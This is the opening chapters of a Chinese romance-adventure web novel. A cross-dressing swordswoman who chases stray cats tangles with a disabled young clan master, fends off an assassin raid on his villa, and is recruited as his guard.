《君恩如梦》
第一卷 第1章 带猫刺客
楠国二十八年,春月夜。
云琛蹲在屋檐上啃烧饼,手里摁着只炸毛的黑猫时,突然意识到,她当“小子”已经五年了。
为了装得更像个男人,她做过的荒唐事包括但不限于:
站着撒尿。
对路过的漂亮姑娘吹口哨。
以及假装红坊的头牌小娘子是她的老情人。
实则每次去都是和人家谈人生,谈理想,就是不上床。
除此之外,云琛还入护卫行,当了个零散武师,学会了喝酒、吹牛、骂脏话、不洗澡......
成功立住了“纯爷们儿”的人设。
其他武师们也都对这个带着点南方口音的“云小子”印象颇深。
一则因为她在男人堆里太扎眼,明显比旁人更白,更瘦,太漂亮。
那俊俏的长相透着股怎么都掩盖不掉的阴柔,一双眼睛自性清净,满是“少年”纯真。
二则,武师们平日喜欢切磋功夫,比试摔跤、游泳、骑射......
云琛很少参与,只是抱剑站在旁边,乐呵呵地当观众鼓掌,从不显山露水自己的本事。
唯有两次,被她两个好兄弟硬撺掇露两手,无意打出凌厉又嚣张的招式时,武师们才隐约察觉这“小子”武功可能不一般。
第三,也是最奇葩、最令武师们想不通的一点:
云琛好像特别喜欢大刀砍蚊子。
别的武师们成天忙着接些押送珠宝、守卫清障的差事,挖空心思攀豪门,期盼着能进权贵家当个体面稳定的护卫。
只有她日常接的差事是:
两文钱替老奶奶抢鸡蛋。
三文钱帮人拔坟头草。
以及免费给洗衣巷的小屁孩抓猫。
她总是游走在烟城大大小小的巷子,混迹在平头老百姓里,干着不能再卑微的零碎活。
遇到连几文钱都付不起的,她不仅不讨要,还反过来给人家倒贴钱。
故而,武师们都这样说她:
可惜了,是个傻子!
但云琛对这些评价不在乎。
她离家出走,离经叛道地扮成男人,在楠国各地流浪五年之久。
只为一个人。
用她兄弟小六的话来说,她在找她的白月光。
想着这些,云琛无意识咬下一口已经有些干硬的烧饼,油渍顺着下巴滴在黑猫头上,惹得它不满地叫唤,也唤回了她的思绪。
“你还好意思叫?半个月你离家出走十二回,害得妙妙天天哭。咋的,浪子啊你?见过不少弃养猫的,还是第一次见弃养主人的。”
云琛边吃边训猫,烧饼干硬,噎得她眼泪差点出来,忙捶胸口顺一顺,然后做贼似的左顾右盼,隔着衣服悄悄调整了下束胸,小声自言自语:
“呼……勒得我都快平了……”
话音刚落,一个破锣嗓子在屋檐底下喊她:
“云哥!又抓猫呢?”小六仰着满是尘土木屑的脸,呲着虎牙对她笑,“烧饼快分我一口!我刚给木场干完活,饿死了!”
小六也是武师,是云琛拜过把子的兄弟。
他这会办完差路过,瞧见大半夜屋顶上有个黑乎乎的人影,还听见有猫叫声,便猜到是云琛。
见小六过来,云琛赶紧收起调整束胸的动作,假装整理衣襟。
她用下巴指指地上的猫笼子,清清嗓子,故意用低沉的男人腔道:
“开玩笑,我能有失手的时候?接着——”
她将烧饼和黑猫同时抛下去。
小六也是真六。
他一个恶狗扑食精准叼住烧饼,却任由黑猫落空滚地,翻身跳进夜色,逃得无影无踪。
“草!别光接烧饼!接猫啊!”云琛赶紧翻身去追,眨眼身形掠过九重屋脊,空中只留一道残影。
这一幕看得小六颇为羡慕,忍不住啃咬着烧饼惊叹:
“瞧瞧这轻功,屋顶瓦片都不带响的,跟鬼飘似的,牛啊......”
云琛在黑夜里一路狂奔,沿着细窄的屋檐旋转跳跃不停歇。
对她来说,追只猫完全不在话下。
况且还是已经追过十二回的老熟猫。
但不凑巧的是,偏偏眼下已经三更天,月亮被突如其来的乌云遮住,到处黑得伸手不见五指。
大黑夜里追黑猫,她眼睛都快瞪瞎了,也看不清猫在哪儿,只能将脚步放得越发轻巧无声,仔细用耳朵捕捉黑猫的脚步声。
好几次判断失误,她不小心跑到黑猫前头去了,又掉头扑回来,吓得黑猫“嗷呜”大叫着躲闪,那语气仿佛在说:
“兄弟,轻功这么好,不要命了吗?跑得比我还快,你才是真畜生啊!”
云琛听不懂猫语,但能感觉到它骂得挺脏,便加快脚步追逐,更加侧耳凝神去听——
“呼……”
寂静又浓黑的夜色中,突然传来一声轻轻的叹息,像极了猫儿跑累时发出的声音。
云琛凭声音断定方位,凌空一个扫堂腿飞过去——
这时,天空中云彩散尽,月光再次亮起。
飞至半空的瞬间,云琛猛然看清眼前不光有黑猫,竟还有黑压压一大群佩刀护卫站在地上。
看不清脸,只觉气势森然,宛如一群拆骨饮血的夜兽。
那黑猫不知抽什么猫疯,天堂有路它不走,“直通地狱”它偏要选:
它冲向其中短了半截、最矮的一个人影,踩着那人的脸弹跳而过,喵喵叫着跑远。
紧接着,追猫追到来不及收力的云琛,也一脚踩在那人额头上,借力追去。
在众护卫的目瞪口呆中,一人一猫就这样先后踩了他家少主一脚,然后眨眼没了踪影……
等众护卫反应过来,纷纷抽刀,惊叫“有带猫刺客!保护少主!”的时候,半空中已不见人影,只有云琛逐渐远去的声音:
“唔好意思,小朋友,下次我让你踩回来!”
余音渐渐远去。
空气瞬间凝固。
众护卫胆颤心惊地低头站着,压根不敢去看自家少主的脸色。
一个时辰后,完全对自己干了什么一无所知的云琛,拎着狂吐舌头差点跑吐血的黑猫,走街过巷时。
只见原本宁静的街道突然沸腾了一样,满大街全是揉着眼屎、边走边整理衣服的武师们,显然都是刚从睡梦中爬起来的。
人群三三两两,摸黑往同一个方向而去,叽叽喳喳兴奋地讨论着什么“霍帮”“前所未有”“令人震惊”。
云琛一头雾水地看着与她逆行的人群,胳膊忽然被一人迎面拉住。
“阿琛!我到处找你呢,快走!一起去衙门前广场!小六已经先去了!”
云琛停下来仔细瞅,天太黑,看不清脸,但能看到一双贼亮的眼睛,满眼都是对金钱的渴望。
不用说,肯定是荀戓,她另一个好兄弟。
云琛问:“去干啥啊,狗哥,什么大事这样轰动,我看全城武师都出动了?”
而且从所有人的表情来看,显然还是“大好事”。
“霍帮招人啦!”被叫“狗哥”的男人激动说道:“大名鼎鼎的霍帮!公开招聘护卫!消息刚刚传开,所有人都赶去报名了!”
狗哥本名荀戓,和孟子干仗的那个“荀”,戓同音“哥”。
因为小六那个大文盲不识字,第一次见面时念成了“苟”,从此狗哥就成了荀戓的外号。
见云琛还是一脸茫然,完全不为听到这样天大的好消息高兴,荀戓急得去拽她手里的猫。
“别一天到晚干这些不挣钱的差事了,咱们兄弟仨一块试试去,若能当上霍帮护卫,每月月钱四两起!顶我和小六干半年差事!顶你给老太太抢十年鸡蛋!你一身好功夫,何苦这样浪费!”
荀戓说着推搡云琛加入人群。
云琛闪身躲开,“不行,我得先把猫还回去,我答应过妙妙的。”
荀戓一脸恨铁不成钢,“不就答应给小屁孩找猫吗?这也叫事?”
“不行,男子汉大丈夫言而有信,不能爽约。”云琛斩钉截铁地拒绝。
眼见人群越走越远,全都往广场去了,荀戓没办法,只能先放开云琛,反复叮嘱她放下猫就赶紧去找他和小六汇合。
云琛嘴里敷衍几句,心里却打定主意要回去睡大觉,便扛着猫儿继续悠哉地走。
待周围所有人都走光,街道重新变得空荡安静,清晨第一缕阳光破夜而升,照得一切都明朗起来。
她这才发现,全城大大小小所有街道墙面上,竟一夜之间贴满了黑金暗纹的告示。
威严的霍帮醒狮标志下,书写着几行明晃晃的簇新大字:
霍帮诚聘。
要求:男,南方人,擅夜行,擅轻功,擅飞腿……
第一卷 第2章 杀光,一个不留
霍帮的护卫们,全都是百里挑一的家生子,自小由名师教导,精心传授武艺。
霍帮开宗立族至今二百多年,这是破天荒第一次对外招人。
这就好比朝廷科考,招完状元郎,又招文盲;
皇宫御膳房请完大厨,又聘烧水火夫。
这等震惊又稀奇之事,除了云琛,全烟城的武师都跑去凑热闹了。
武师们乌泱泱挤在衙署前的大广场上,各个摩拳擦掌,一脸跃跃欲试。
上百个衙役忙着维持人群秩序、设置障枑,隔出衙门口唯一一方空地。
空地中央的台阶上,两排佩刀护卫肃穆而立。
放眼望去,统一的黑缎金线八幅罗作战服,瑞兽护臂,翘头武靴,带有霍帮标志性醒狮印记的腰带束在正中。
这些护卫们个个周正笔挺,气度非凡。
其中一人看起来最为稳重练达,服制也比旁人更考究,应是霍帮的护卫统领。
每当他说些什么,旁边的衙役都响应得既恭敬又及时,非常狗腿地回一句“叶峮大人说的极是”。
再加上竟能把招聘地点选在衙门口,由此可以窥见霍帮的势大。
这一幕看得底下的武师们羡慕不已:
“不愧是楠国首富霍帮,瞧他们护卫的派头,比宫里的侍卫还威风!”
“废话,霍帮何等地位!前朝时随皇帝征战,平定四方。功成身退后短短数十年便雄霸楠国称富!”
“唉,要是能进霍帮当护卫就好了,那体面,那富贵,啧啧,想想都美!”
“得了吧,威风不假,但也要命!那霍帮现任当家少主手腕凌厉,行事霸道,惹下仇家无数,致使这些年遭了大小刺杀数百场,护卫们死了一批又一批,连二十五都活不过。”
“对对对,我听说,霍帮护卫十成里活之一二,一二里残之大半。”
“那另外八九成呢?”
“阎王殿门口排队呢呗!”
众人听完唏嘘不已。
嘴上说着“太危险,这霍帮护卫当不起”,实际却没有一个人离场。
毕竟“霍帮”两个字,代表着无穷富贵和飞黄腾达。
比起吃了上顿没下顿、接差事全凭运气的武师生活,这诱惑实在太大。
“咚咚咚——”
很快,衙役敲响重鼓,令全场安静下来。
在那霍帮护卫统领叶峮的示意下,一位衙役走上前,摊开手里据说由霍帮少主亲笔写下的、更为详细的招聘告示,开始宣读:
“霍帮诚聘。要求:
男,南方人,年龄十六至三十之间,身长五尺至五尺三之间,体重一百斤左右,擅夜行,擅轻功,可行踏瓦片无声,擅凌空飞腿,热爱小动物……各位如有符合条件的,请上前报名。”
前头衙役滔滔不绝地念着,底下武师们交头接耳:
“这是招人还是找人啊?听着怎么跟念通缉令似的。”
“霍帮招护卫,要求都这么……确切吗?”
“到底是先有人,还是先有岗?”
衙役念完,全场陷入一阵议论。
武师们互相打量谁符合条件,稀稀拉拉开始有人报名。
由于招人条件太有限制性,最后上前报名的还不到二十个人。
那衙役扫视全场,“还有没有要报名的了?没有的话,请各位列队前往霍帮面试。”
“等等,我们还有个兄弟!马上来!”
不到二十人的小队伍中,已报名的荀戓和小六齐声大喊,焦急地向远处张望。
人群中,有武师调侃道:
“等谁?云琛?他估计忙着扶猫,啊不,扶老奶奶过马路呢,没空来!”
“哈哈哈哈……”人群发出善意的哄笑。
那衙役说句“不等了”,就要命令小队伍出发。
这时,拐杖杵地声重重响起,一个年迈的声音从人群后传来:
“慢着!这有一个报名的!”
所有人循声望去,愣了一下,随即爆发出大笑。
只见不远处,一大群男女老少“押”着不情不愿的云琛走过来。
领头的是位拄拐的老太太,扭着云琛胳膊的则是两个青年,还有一个抱猫的小屁孩。
后面还跟着卖豆腐脑的李婶、热汤面的张哥、小寡妇孙氏……
众人一边推着云琛往前走,一边语重心长地唠叨:
“云小子,你给我这孤寡老太婆抢了二百个鸡蛋,砍了两房柴,够我过半年了,现在你给我报名挣前程去!”
“就是!俺爹后半夜托梦,说这几年俺们兄弟俩在外地没回家,全靠云小子帮他拔坟头草。俺爹说,他在地底下把关系托遍了,保准你当上霍帮护卫!”
“你棚顶修得贼结实,我已经能正常卖面。你别一天到晚顾着我们,该顾你自己了!”
“哦——云哥哥当护卫喽!给我买糖葫芦哦!”刚到云琛膝盖的小屁孩妙妙抱着黑猫,高兴得手舞足蹈,勒得怀里的猫直翻白眼。
这奇葩的老中青三代组合,外加一脸生无可恋的云琛,把全场所有人都逗笑了。
最后在挨了老太太两拐杖,以及“你不去我现在就躺地上”的胁迫下,云琛只能无奈地加入小队伍。
看到荀戓和小六咧着嘴乐,一脸奸计得逞的模样,云琛就知道,这事跟那俩货脱不开关系。
准是他俩挨个告诉街坊们,他们的“好小子”云琛,成天只顾着助人为乐,放着奔前程的好机会不要,才有眼下这一幕。
“云哥快些!”小六将云琛扯进队伍,“我帮你估计过了,你完全符合招人条件!”
“咱们三兄弟一条心,今日就奔富贵去!”荀戓揽住云琛肩膀,“人家都上赶着去霍帮,你倒好,还不乐意,这是前途,不是红坊小娘子的床,听话,别搞欲拒还迎那一套!”
小六伸手勾出云琛脖子上老旧的绳链,带出上面的银币微微晃动,笑道:
“我知道云哥为啥不想去,他惦记着找他的白月光呢!”
“去他娘的月光,再这样混下去,一辈子都得耗光!”荀戓用力捏捏云琛肩膀,郑重道:
“阿琛,听哥一句话,武师也好,护卫也罢,哪怕皇宫侍卫——干咱们这行,早就在阎王殿挂了名,忠贞固然可贵,但也最要命。“恩义”俩字,值几个钱?”
说罢,不容云琛拒绝,在其他武师们羡慕的口哨和欢呼声中,荀戓和小六推着她,跟随小队伍一起出发。
霍帮的护卫们也立刻从旁并行,将小队伍团团围住。
那架势看起来跟羁押犯人似的,好像生怕谁跑了。
一个多时辰后,队伍来到郊外。
遮天蔽日的竹林中,一座富贵典雅的宅院静静伫立。是霍帮的别院。
周围全是值守的霍帮护卫,不远处还有高低巡逻岗哨,看起来像有个大人物在宅院里。
面试的小队伍排成两列,在霍帮护卫的注视下走进宅门。
云琛走在队伍末尾,从她的角度看去,宅门高阔幽深,层层无尽,像一头张着深渊大口的冰冷巨兽。
众人就像渺小的蚂蚁,一只只被囫囵吞掉。
不知为何,云琛突然心生退意。
再听耳畔风声呜咽,竹叶哗啦啦响个不停,像在轻声碎语地劝她不要进去似的,她更感到一种莫名的凄凉和恐惧。
“狗哥,小六,我去撒个尿。”她随便扯了个借口转身要走。
荀戓和小六正急不可耐地排队往大门里进,压根没听见。
倒是那护卫统领叶峮注意到,走过来拦住她:
“这位兄弟贵姓?有什么事,等面见我家少主之后再去吧。”
“我叫云琛。撒个尿就回来。”云琛说着想绕开叶峮,后者却又拦一步,笑问:
“确定不是一去不回来?”
“不......是......”被窥破心思,云琛瞬间脸红,她从来不擅长当面撒谎。
那叶峮看得分明,倒也不恼,反而十分和善地笑起,将随身的护卫令牌解下来递给云琛:
“那云兄去吧。拿上我的令牌,回来时方便进大门。”
云琛愣愣接过。
心说,霍帮护卫统领的令牌,应该挺重要的吧。
这么容易就给我?
面对陌生人突如其来的信任,她瞬间不好意思跑了。
只能假装寻地方撒尿,边走心里边犹豫:
走吧,对不起押着她来奔前程的街坊,对荀戓和小六也不够意思,还愧对叶峮的令牌。
不走吧,她又没由来地心慌,总有种踏过霍帮宅院这道门槛,就要永诀的奇怪预感。
思前想后,她还是决定临阵脱逃。
但是不逃远,就在附近猫着,等荀戓和小六平安出来,她还了令牌再走。
打定注意,她避开周围巡逻站岗的霍帮护卫们,跳上一丛粗竹闭眼休憩。
不知躺了多久,她忽然听到周围传来一阵故意放轻的脚步声。
像是有许多人在悄悄朝宅院靠近。
她心以为又是霍帮的护卫们吧豪门嘛,护卫多很正常。
可紧接着,“唰——”
一声清晰的利刃出鞘声,令她猛地睁开眼睛。
四周不知从哪冒出几百个杀手,正伏着身子,从她眼皮子底下快速跑过,朝宅院逼近。
“杀光,一个不留!”
第一卷 第3章 你给我站住
当听到杀手中,有人说“杀光,一个不留”的时候,云琛下意识攥紧了腰间佩剑。
很明显,杀手们都是冲霍帮去的。
可荀戓和小六还在宅院里。
虽说他们只是来参加面试,压根不算霍帮的人,但眼下若打起来,杀手们可不管三七二十一,必然一并砍死。
想到这里,云琛果断出手。
众杀手完全没防备有人从天而降,匆忙对战几招之后,惊叫“不好!这有个高手!”而后迅速改变阵型。
少部分杀手拖住云琛,大部分则继续往宅院冲。
这番打斗动静立刻引起了宅院内外霍帮护卫们的注意。
霎时间,宅院楼台上铜钟声大作,霍帮护卫们纷纷大喊“保护少主!有刺客!”抽出佩刀迎战。
宅院内外立即陷入杀斗。
云琛远远望去,好几个来面试的武师已被砍死,情况大大不妙。
挂念荀戓和小六的安危,她迅速几招杀死围攻的杀手们,而后跃跨过大门,冲进宅院。
院子里密密麻麻全是杀手,正以压倒性优势杀着霍帮护卫往内院进攻。
混乱的人群中,小六和荀戓正与几个杀手打的难解难分。
荀戓年纪稍长,沉稳些,刀上沾了不少血。
小六刀上有没有血不知道,身上倒是被砍了好几刀,浑身血呼啦次的,看起来不太妙。
云琛迅速拔剑而去,跳进打斗圈。
一瞬间,宛如猛虎跳进猫园。
云琛剑锋快如闪电,几乎没有一剑落空,招招杀敌溅血,眨眼便从杀手群中拓出一条安全路,立马逆转了霍帮不敌的局势。
见云琛突然出现,原本还咬牙拼命的小六,一下就脱了力气,带着哭腔叫道:
“云哥你回来了!救我!”
荀戓高度紧绷的神经也瞬间放松,松了口气,叹道:
“成!今日能保住一条小命!”
云琛点点头,不多言语,与小六和荀戓背靠背,形成三角阵型朝外拼杀,试图突围离开。
无奈对方杀手人数太多,三人逃离不得,反被逼退进内院。
云琛快速四扫,只见内院比外面还要惨,到处都是尸体。
一群霍帮护卫正殊死搏斗,牢牢形成保护圈——
一个玉冠束发的年轻公子静静坐在其中。
他坐在把样式奇怪的椅子上,一身墨蓝银峰外袍,神态冷郁,凤眸微垂,气质十分冷漠矜贵,正面色阴沉地看着眼前的血腥杀斗。
见已无路可退,背后无敌,小六和荀戓立即散开三角阵型,各自朝外拼杀。
云琛仍旧剑锋凌厉,一剑杀倒一人。
她虽专注对敌,却清楚地感觉到一道视线落在后背,随着她轻功起落,不曾离开。
打斗场上最忌讳后背被盯,那感觉仿佛是被人锁定了小命,十分不自在。
云琛顺着视线源头找去,正对上那公子阴郁的眼神。
她不悦叫道:
“你别盯着我后背!毛得很!”
那公子面无表情,只是冷冷移开视线。
倒是他身边的叶峮愣了一下,一边砍人,一边朝云琛露出个“佩服”的眼神。
杀斗了大约一刻钟,那公子身边的护卫几乎全部倒下,只剩叶峮还在坚守。
“少主!不成了!属下护您离开吧!”
未等那公子回应,叶峮突然被两个杀手冲上来扑倒。
那公子身边瞬间空空荡荡,再无一人相护。
偏偏这时,一杀手举刀砍来。
那公子端坐得稳当,下半身不动分毫,只上身微侧,漂亮地偏头躲过一刀。
但紧接着,第二刀又来了。
料定那公子避无可避,唯有受死,云琛只好轻功猛冲,一个凌空飞腿,靴子擦着那公子脸颊而去,踹倒了杀手。
电光火石之间,不知是不是云琛的错觉,她好像看见,那公子有一瞬间睁大了眼睛,用一种特别奇怪又阴森的眼神盯着她。
云琛来不及多想,一剑迎向又一个扑过来的杀手,扎穿对方咽喉,鲜血溅了那公子一脸。
没了护卫,那公子就像块诱人的肉,吸引所有杀手蝗虫似的扑上去。
云琛全力抵挡,杀得辛苦。
眼见那公子深陷包围,却压根没有逃命的意思,从始至终坐在椅子上,屁股都不抬一下。
这么多人为他玩命拼杀,他却宛如定海神针,稳如老狗,只是目光冰冷地看着迎面而来的杀手。
云琛急了,忍不住大喊:
“跑啊!你光用眼睛能瞪死他们吗?!”
那公子淡淡地看云琛一眼,没有说话。
云琛终于来气了:
“你把腿蹬直了站起来行吗?撒开两腿跑啊!你是等着祭天的童子吗在那一动不动?赶紧叫你护卫顶着,你翻墙跳出去!”
云琛说罢,继续专心打斗,全然没看见那公子阴黑至极的眼神。
这时,急急砍倒两个杀手,又重新护卫回来的叶峮靠近云琛,小声解释:
“云兄莫怪!我家公子他……有腿疾……走不了路……”
叶峮想,云琛就是从今日这场杀斗中活下来,只怕也活不长了。
毕竟从没有人敢在他们双腿残疾多年的少主面前,提任何需要用腿的字眼。
平时他们连“走”这个字都不敢随便当着主子面说,云琛却一口气说了多少来着?
蹬?站?跑?跳?
还没等叶峮缓过劲儿来,就听云琛又喊:
“走不了?腿废的?那手没废吧?跑不动就爬啊!都这时候了!命要紧还是面子要紧?!”
叶峮两眼一黑,心说:
云兄,你死了。
你跑吧,赶紧跑。
再不跑,这辈子都来不及了。
然而不等叶峮说出这句,云琛突然拔地飞身,朝冲向那公子的十几个杀手使出连环飞踢,而后一个跳马跨过那公子头顶,杀倒了他身后的偷袭者。
在跨过那公子头顶的时候,云琛无处借力,只能用手轻轻在那公子额头上摁了一下。
看到这一幕,叶峮猛抽一口凉气,感觉全身的血都涌上了头顶。
且看他家少主的脸:
按道理说,那里应该永远干干净净,只有一片寡欲寒冰。
但这会儿却乌七八糟什么都有。
有云琛杀人喷溅到的血。
有云琛踹人时靴底蹭到的灰。
以及她跳马过去时留下的……俩黑手印子……
根本不敢去看自家主子杀人般的森寒表情,叶峮用看死人的眼神,同情地看了云琛一眼,而后全心全意对战杀敌。
另一边,云琛刺杀不止,渐渐感到吃力,正以剑抵刀,打得猛烈时,却不料“当啷”一声,剑身碎裂,她顿时没了趁手的兵器。
“六文银子的货就是不行,关键时候真他娘的要命!”云琛甩下残破剑柄,随手从地上捞起两把护卫刀。
目光扫视全场,见到处杀个没完没了,那公子又如老松扎根一动不动,荀戓和小六也屡屡身处险境。
急火攻心之下,云琛气得举起双刀,如大猩猩般猛拍胸口,怒吼着向杀手们冲去。
一时间,在场所有人都被这突如其来的吼声给震住了。
小六闻声看去。
他额头上的血流进眼里,只见一片血色中,云琛气势骇人,凶狠如山林猛兽,双刀劈闪如雷电!情景甚是吓人!
小六忍不住心说:
好猛!爱了!!
云琛杀了又杀,杀了又杀。
直到一大群支援的霍帮护卫冲进来,潮水般挤满院子,干掉最后一个杀手,她才气喘吁吁地停下。
她抬眼找寻,小六活着,荀戓也活着。
行,没白辛苦。
再看她自己,身上只有几处浅伤,但衣服却像是从血水里捞起来的一样,湿嗒嗒往下滴着血。
霍帮护卫们也都第一时间互相照看打量,原本嘈杂的场面渐渐安静下来,四下只有众人累得大喘气的声音。
“咣当——”云琛扔下刀。
声音无意间吸引了所有人的注意。
这时,一个冷硬如坚玉的声音,用肯定且陈述的语气开口:
“你很符合条件。”
这话刚冒出第一个字,所有霍帮护卫不管这伤那残的,立刻“哗啦”散开,排列成平日里的规矩站位,十分训练有素。
云琛也这才看清,说话的是那公子。
他也还活着。
“来参试的么?”那公子问。
“不参了。”云琛撂下这一句,看都不多看那公子一眼,自顾招呼荀戓和小六:
“走,买糖葫芦去!”
周围的霍帮护卫们全愣了,心说:
这“小子”剑法猛到以一挡百,这么牛逼地杀完人之后,不应该“喝酒”“泡妞”去吗?
“买糖葫芦”是个什么鬼?
现在的高手都这么养生吗?
完全不理会霍帮人在想什么,云琛搀扶着荀戓和小六往外走。
那公子却又从后叫她,声音像是强忍着怒意,冷冰冰道:
“你给我站住!”
第一卷 第4章 天生异相的少主
霍帮护卫等级森严,从低往高,依次是院卫、近卫、亲卫,以及要求极高、极难培养的神秘暗卫。
分别负责霍家少主霍乾念的居、行、守。
等级越高,人数越少,离霍乾念也越亲近。
如果有幸得到赏识,能做到亲卫,就算是霍乾念可托付生死的心腹。
自竹林深院一场杀斗后,云琛的名号就在整个霍帮传开了。
一则是因为霍帮清点伤亡时发现,对方杀手近三百,竟有一半是被云琛一剑挑断咽喉而死。
其中有六十多人,压根没来得及进院子,就被她解决掉了。
不光杀敌数量惊人,且所有咽喉处都是一道整齐又幽深的竖形伤口,几乎从喉咙贯穿至颈骨。
由此可见下剑之人如何快准狠,剑法干脆利索,没有一丝拖泥带水。
二则更重要的是因为,这么些年,就是霍乾念的死对头都不敢拿他的双腿说事。
敢在霍乾念的死穴禁地反复横跳的,也只有云琛一人了。
但出乎所有人意料之外,当时,霍乾念语调森冷地叫云琛“你给我站住”之后,不仅没有杀云琛,反而还想收她入霍帮。
叶峮本已闭上眼睛,做好云琛要被血溅当场的准备,却听霍乾念接着又冒出一句:
“你喜欢猫吗?”
正往外走的云琛、荀戓和小六全部一愣。
她回头用看神经病的眼神看了霍乾念一眼。
“一般般。我更喜欢羊。”
“山羊还是绵羊?”
“小羊。”
“为什么?”
“肉嫩。”
两人牛头对马嘴地聊了一场。
霍乾念道:“你来做我的护卫,我请你吃羊。”
全场都被这句惊了一跳。
叶峮直接懵了:
什么情况?刚才云琛跳马那一下给少主摁傻了?
不杀就算了,还要招揽?
不对,叶峮笃定霍乾念是想把人骗回家再杀。
却听云琛轻松回应:
“不去,没兴趣。”
这下全场更惊了。
小六想说点啥,但看了眼遍地尸体,这霍帮明显天天玩命呢,他嘴巴动来动去,最终什么也没说。
三人继续往外走。
霍乾念又道:
“入霍帮,可以按近卫标准领月钱,一个月六两。”
停顿了一下,霍乾念又补充了六个字:
“你们三个都是。”
“我说了,没兴趣。”云琛有点不耐烦。
她本来就不想面试什么霍帮护卫,进门之前也预感不妙,眼下看来果然不是什么吉祥之地。
但她身边俩人却眼睛“蹭”地亮起来,跟吃了仙丹似的,瞬间伤也不伤,疼也不疼了。
二人挺起胸膛,站得板板正正。
云琛心道“不好”,刚想撒腿跑,就被荀戓和小六死死摁趴在地上。
俩人左右各一边,分别揪住云琛耳朵,开始疯狂输出:
“云哥!霍帮啊!如今整个楠国,除了玉家,就属霍帮最厉害!这意思咱通过面试了!!!”
“阿琛,不,琛哥,一个月六两啊!!我上有老下有小,做武师真没法养家!求你考虑考虑!”
云琛也不知道这浑身是伤的俩人,突然哪来那么大劲,摁得她根本动不了。
她刚想开口骂人,荀戓却扯住她项间银币,死死用嘴扣住她耳朵,叽里咕噜说了一大堆。
那些霍帮护卫们听不见,只见云琛的眉头渐渐松开,眼神从生气转为疑惑,而后开始陷入沉思。
荀戓和小六彼此交换个“成了”的眼神,放开对云琛的压制。
她从地上爬起来,低着头不说话,想了好久好久,最终轻轻叹了口气。
给人的感觉,好像良家女子决定“入风尘”那般无奈、妥协。
又像自由自在的小狗,即将套上项圈那样可怜。
叶峮再去看霍乾念,简直活脱脱一个“逼良为娼”的阴险恶霸。
当然了,这话叶峮只敢内心戏想想,嘴上还是对云琛劝道:
“云兄,你武艺非凡,若加入我们霍帮,将来必有一番大作为。”
“行。”
这次云琛答应得干脆利索。
叶峮一下没反应过来,接不上话,最后还是在霍乾念十分不爽的眼神中,他才赶紧对云琛三人道:
“咱霍帮的规矩,入帮必须得至少有一门绝活武艺,还请三位兄弟展示些许。”
“好说好说。”小六笑嘻嘻上前,忍着身上各处伤口,当着众人的面,呲牙咧嘴地将整个身体塞进一口酒坛子里。
绝好的缩骨功令霍帮护卫大开眼界。
荀戓一手暗器了得,随手捡颗石子,扯片树叶,或者一根牙签,都能充作杀人暗器,足以服众。
该到云琛显露看家本领的时候,她半天没动,看得叶峮都替她着急,还以为她是缺了剑,无法展示,便道:
“云兄剑法了得,已有目共睹,今日剑断,就以树枝代替吧,不必拘泥。”
谁知云琛却摇摇头,十分认真地回答:
“我不是愁没剑,我是愁看家本领太多,不知道你们想看哪一个?”
叶峮听罢咧咧嘴,朝云琛比了个大拇指。
霍乾念则用那双黑曜石一般幽冷的眸子看着云琛,问道:
“可擅水性?”
云琛点点头,一脚踹开院侧门,门外即是堤坝,洛子水的分支恰在此经过。
云琛不多言语,单手撑堤,纵身跳入河中。
院子里,一众霍帮护卫都来了兴趣,纷纷张望,想看云琛能潜水闭气多久。
等啊等啊,直等到叶峮打来热水,递上干净的帕子,霍乾念慢条斯理地擦去一脸血迹和黑灰,河面上却连个气泡都没翻上来。
小六和荀戓对视一眼,得意地朝霍帮护卫们挑眉。
等啊等啊,直等到霍帮那几个受伤的护卫,都呲牙咧嘴地拖着脚步,好奇地凑过来,河面上还是一派平静。
几个霍帮护卫小声议论:
“该不会一头扎下去,撞石头上了晕死吧?”
“刚出了那么大力气杀斗,会不会体力不支,上不来了?”
小六和荀戓又对视一眼,都在对方眼里看到一丝担忧和慌张。
他们曾经见识过云琛的水性。
说句夸张的,云琛入水就跟龙王三太子回龙宫似的。
河里千百种鱼虾蟹,小六想吃什么,她就能精准地捞什么上来。
由于不爱争抢炫耀,烟城的武师们都不太清楚她的本事,但朝夕相处的荀戓和小六很清楚。
可眼前这情况显然也已经远远超出二人的预期。
没气泡,没换气,这一口气屏得实在太久。
秉持不能给自家兄弟丢面子的原则,二人强装镇定。
小六故意摆出一副“你们少见多怪”的语气:
“撞石头?那不可能,估计我云哥看水底石头多,帮着老龙王造龙宫呢!不着急,马上就上来!”
“呵,这牛逼吹得真响!”周围的霍帮护卫们全都哄笑起来。
叶峮征求性地看向霍乾念,后者正在这一地横尸中端茶稳坐,慢悠悠地吹着茶沫子,一点点饮下。
一口。
两口。
三口。
……
直到足足一刻钟过去,霍乾念一盏茶喝完,霍帮护卫们都开始替人着急,小六快哭出来的时候,云琛才猛地从水里探出头,翻身跳上堤坝。
院子里响起霍帮护卫们的叫好声。
云琛不好意思地笑笑,三步并做两步,走到霍乾念面前,甩下一条深水里才有的罕见雪眼大青鱼,单膝跪地,抱拳行礼道:
“方才只顾着杀斗,无心冒犯了少主,请少主见谅——这条大青鱼给主子晚上加菜。”
说罢,云琛抬起头,呲着贝齿,朝霍乾念嘿嘿一笑。
叶峮却只注意到那大青鱼活蹦乱跳,腥水全溅到了霍乾念金丝满绣的靴子上。
叶峮清楚地看到,霍乾念冷着脸,腮帮微动,咬了下后槽牙。
而后,趁所有人忙着清理场地没注意的时候,云琛凑到叶峮跟前,将令牌还他。
“有个事,我刚才就好奇想问呢。少主长得那么好,但怎么好像和正常人不太一样,额头上好大个包,看着跟寿星公似的,是天生异相吗?”
叶峮偷瞄霍乾念一眼,压低声音回答:
“别提了!其实我们连夜贴告示招人只是幌子,真实目的是想找昨夜偷袭少主的刺客!那刺客带着只猫,轻功好生厉害,狠狠踩了少主额头就跑,气得少主下令连夜抓人。这不,头上的包到现在还没消呢!”
“……”
“那刺客忒嚣张,逃之前还叫少主‘小朋友’,明知少主腿疾走不了路,还说会让少主踩回来,这不摆明挑衅吗,你说可恨不可恨?”
“……”
“咱少主什么时候吃过这么大亏?少主说了,等找到那刺客和猫,把人皮和猫皮通通扒下来,铺轮椅脚踏上当脚垫,天天踩!”
“……”
发现云琛脸色突然变得很难看,叶峮以为是被他的话吓着了,亲热地揽住云琛肩膀,笑道:
“虽说因为那些杀手,这场名为招聘、实为抓人的事全黄了,但总算有收获,能得到你这样的高手进霍帮,值了!”
“呵呵……”云琛不语,只是一味干笑。
第一卷 第5章 你衣裳真好看
进入霍帮,先登记造册,等一个月考察期过,签下身契,才算真正成为霍帮护卫。
